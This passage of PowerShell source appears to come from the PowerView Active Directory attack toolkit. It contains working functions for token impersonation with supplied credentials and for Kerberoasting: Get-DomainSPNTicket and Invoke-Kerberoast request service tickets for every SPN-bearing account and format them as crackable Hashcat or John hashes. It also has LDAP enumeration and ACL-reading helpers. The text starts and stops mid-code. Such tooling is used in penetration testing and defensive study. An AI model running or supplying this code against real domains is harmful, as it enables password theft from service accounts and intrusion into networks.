+.PARAMETER TokenHandle + +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +.PARAMETER Quiet + +Suppress any warnings about STA vs MTA. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +.OUTPUTS + +IntPtr + +The TokenHandle result from LogonUser. +#> + + [OutputType([IntPtr])] + [CmdletBinding(DefaultParameterSetName = 'Credential')] + Param( + [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] + [ValidateNotNull()] + [IntPtr] + $TokenHandle, + + [Switch] + $Quiet + ) + + if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { + Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." + } + + if ($PSBoundParameters['TokenHandle']) { + $LogonTokenHandle = $TokenHandle + } + else { + $LogonTokenHandle = [IntPtr]::Zero + $NetworkCredential = $Credential.GetNetworkCredential() + $UserDomain = $NetworkCredential.Domain + $UserName = $NetworkCredential.UserName + Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" + + # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 + # this is to simulate "runas.exe /netonly" functionality + $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + } + + # actually impersonate the token from LogonUser() + $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) + + if (-not $Result) { + throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" + $LogonTokenHandle +} + + +function Invoke-RevertToSelf { +<# +.SYNOPSIS + +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +.PARAMETER TokenHandle + +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token +#> + + [CmdletBinding()] + Param( + [ValidateNotNull()] + [IntPtr] + $TokenHandle + ) + + if ($PSBoundParameters['TokenHandle']) { + Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" + $Result = $Kernel32::CloseHandle($TokenHandle) + } + + $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" +} + + +function Get-DomainSPNTicket { +<# +.SYNOPSIS + +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of Hashcat). + +.PARAMETER SPN + +Specifies the service principal name to request the ticket for. + +.PARAMETER User + +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +.EXAMPLE + +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + +Request a kerberos service ticket for the specified SPN. + +.EXAMPLE + +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + +Request kerberos service tickets for all SPNs passed on the pipeline. + +.EXAMPLE + +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR + +Request kerberos service tickets for all users with non-null SPNs and output in JTR format. + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.INPUTS + +PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding(DefaultParameterSetName = 'RawSPN')] + Param ( + [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('.*/.*')] + [Alias('ServicePrincipalName')] + [String[]] + $SPN, + + [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] + [Object[]] + $User, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'Hashcat', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['User']) { + $TargetObject = $User + } + else { + $TargetObject = $SPN + } + + ForEach ($Object in $TargetObject) { + if ($PSBoundParameters['User']) { + $UserSPN = $Object.ServicePrincipalName + $SamAccountName = $Object.SamAccountName + $DistinguishedName = $Object.DistinguishedName + } + else { + $UserSPN = $Object + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' + } + + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 + if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { + $UserSPN = $UserSPN[0] + } + + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" + } + if ($Ticket) { + $TicketByteStream = $Ticket.GetRequest() + } + if ($TicketByteStream) { + $Out = New-Object PSObject + + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName + $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName + $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName + + # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) + # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object + if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { + $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) + $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 + $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) + + # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object + if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { + Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } else { + $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" + $Out | Add-Member Noteproperty 'TicketByteHexStream' $null + } + } else { + Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } + + if($Hash) { + # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe... + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" + } + else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + + # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe... + $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') + $Out + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Invoke-Kerberoast { +<# +.SYNOPSIS + +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +.DESCRIPTION + +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat . + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'Hashcat'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Invoke-Kerberoast | fl + +Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default). + +.EXAMPLE + +Invoke-Kerberoast -Domain dev.testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR +format instead of Hashcat. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.SPNTicket')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'Hashcat', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserSearcherArguments = @{ + 'SPN' = $True + 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' + } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } + Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-PathAcl { +<# +.SYNOPSIS + +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +.DESCRIPTION + +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +.PARAMETER Path + +Specifies the local or remote path to enumerate the ACLs for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target path. + +.EXAMPLE + +Get-PathAcl "\\SERVER\Share\" + +Returns ACLs for the given UNC share. + +.EXAMPLE + +gci .\test.txt | Get-PathAcl + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred + +.INPUTS + +String + +One of more paths to enumerate ACLs for. + +.OUTPUTS + +PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FileACL')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName')] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + + function Convert-FileRight { + # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + [CmdletBinding()] + Param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | ForEach-Object { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } + ($Permissions | Where-Object {$_}) -join ',' + } + + $ConvertArguments = @{} + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + try { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $ACL = Get-Acl -Path $TargetPath + + $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + $SID = $_.IdentityReference.Value + $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $TargetPath + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name + $Out | Add-Member Noteproperty 'IdentitySID' $SID + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') + $Out + } + } + catch { + Write-Verbose "[Get-PathAcl] error: $_" + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Convert-LDAPProperty { +<# +.SYNOPSIS + +Helper that converts specific LDAP property result fields and outputs +a custom psobject. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts a set of raw LDAP properties results from ADSI/LDAP searches +into a proper PSObject. Used by several of the Get-Domain* function. + +.PARAMETER Properties + +Properties object to extract out LDAP fields for display. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with LDAP hashtable properties translated. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if ($_ -ne 'adspath') { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert all listed sids (i.e. if multiple are listed in sidHistory) + $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } + } + elseif ($_ -eq 'grouptype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum + } + elseif ($_ -eq 'samaccounttype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum + } + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'useraccountcontrol') { + $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum + } + elseif ($_ -eq 'ntsecuritydescriptor') { + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } + } + elseif ($_ -eq 'accountexpires') { + if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { + $ObjectProperties[$_] = "NEVER" + } + else { + $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) + } + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + Write-Verbose "[Convert-LDAPProperty] error: $_" + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + } + try { + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" + } +} + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# +.SYNOPSIS + +Helper used by various functions that builds a custom AD searcher object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain + +.DESCRIPTION + +Takes a given domain and a number of customizations and returns a +System.DirectoryServices.DirectorySearcher object. This function is used +heavily by other LDAP/ADSI searcher functions (Verb-Domain*). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchBasePrefix + +Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local + +Return a searcher for all objects in testlab.local. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' + +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. + +.EXAMPLE + +Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). + +.OUTPUTS + +System.DirectoryServices.DirectorySearcher +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.DirectorySearcher')] + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBasePrefix, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit = 120, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + + if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { + # see if we can grab the user DNS logon domain from environment variables + $UserDomain = $ENV:USERDNSDOMAIN + if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { + $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" + } + } + } + elseif ($PSBoundParameters['Credential']) { + # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain + $DomainObject = Get-Domain -Credential $Credential + $BindServer = ($DomainObject.PdcRoleOwner).Name + $TargetDomain = $DomainObject.Name + } + elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { + # see if we can grab the user DNS logon domain from environment variables + $TargetDomain = $ENV:USERDNSDOMAIN + if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { + $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" + } + } + else { + # otherwise, resort to Get-Domain to retrieve the current domain object + write-verbose "get-domain" + $DomainObject = Get-Domain + $BindServer = ($DomainObject.PdcRoleOwner).Name + $TargetDomain = $DomainObject.Name + } + + if ($PSBoundParameters['Server']) { + # if there's not a specified server to bind to, try to pull a logon server from ENV variables + $BindServer = $Server + } + + $SearchString = 'LDAP://' + + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } + + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' + } + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } + } + else { + $DN = $SearchBase + } + } + } + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } + } + + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search base: $SearchString" + + if ($Credential -ne 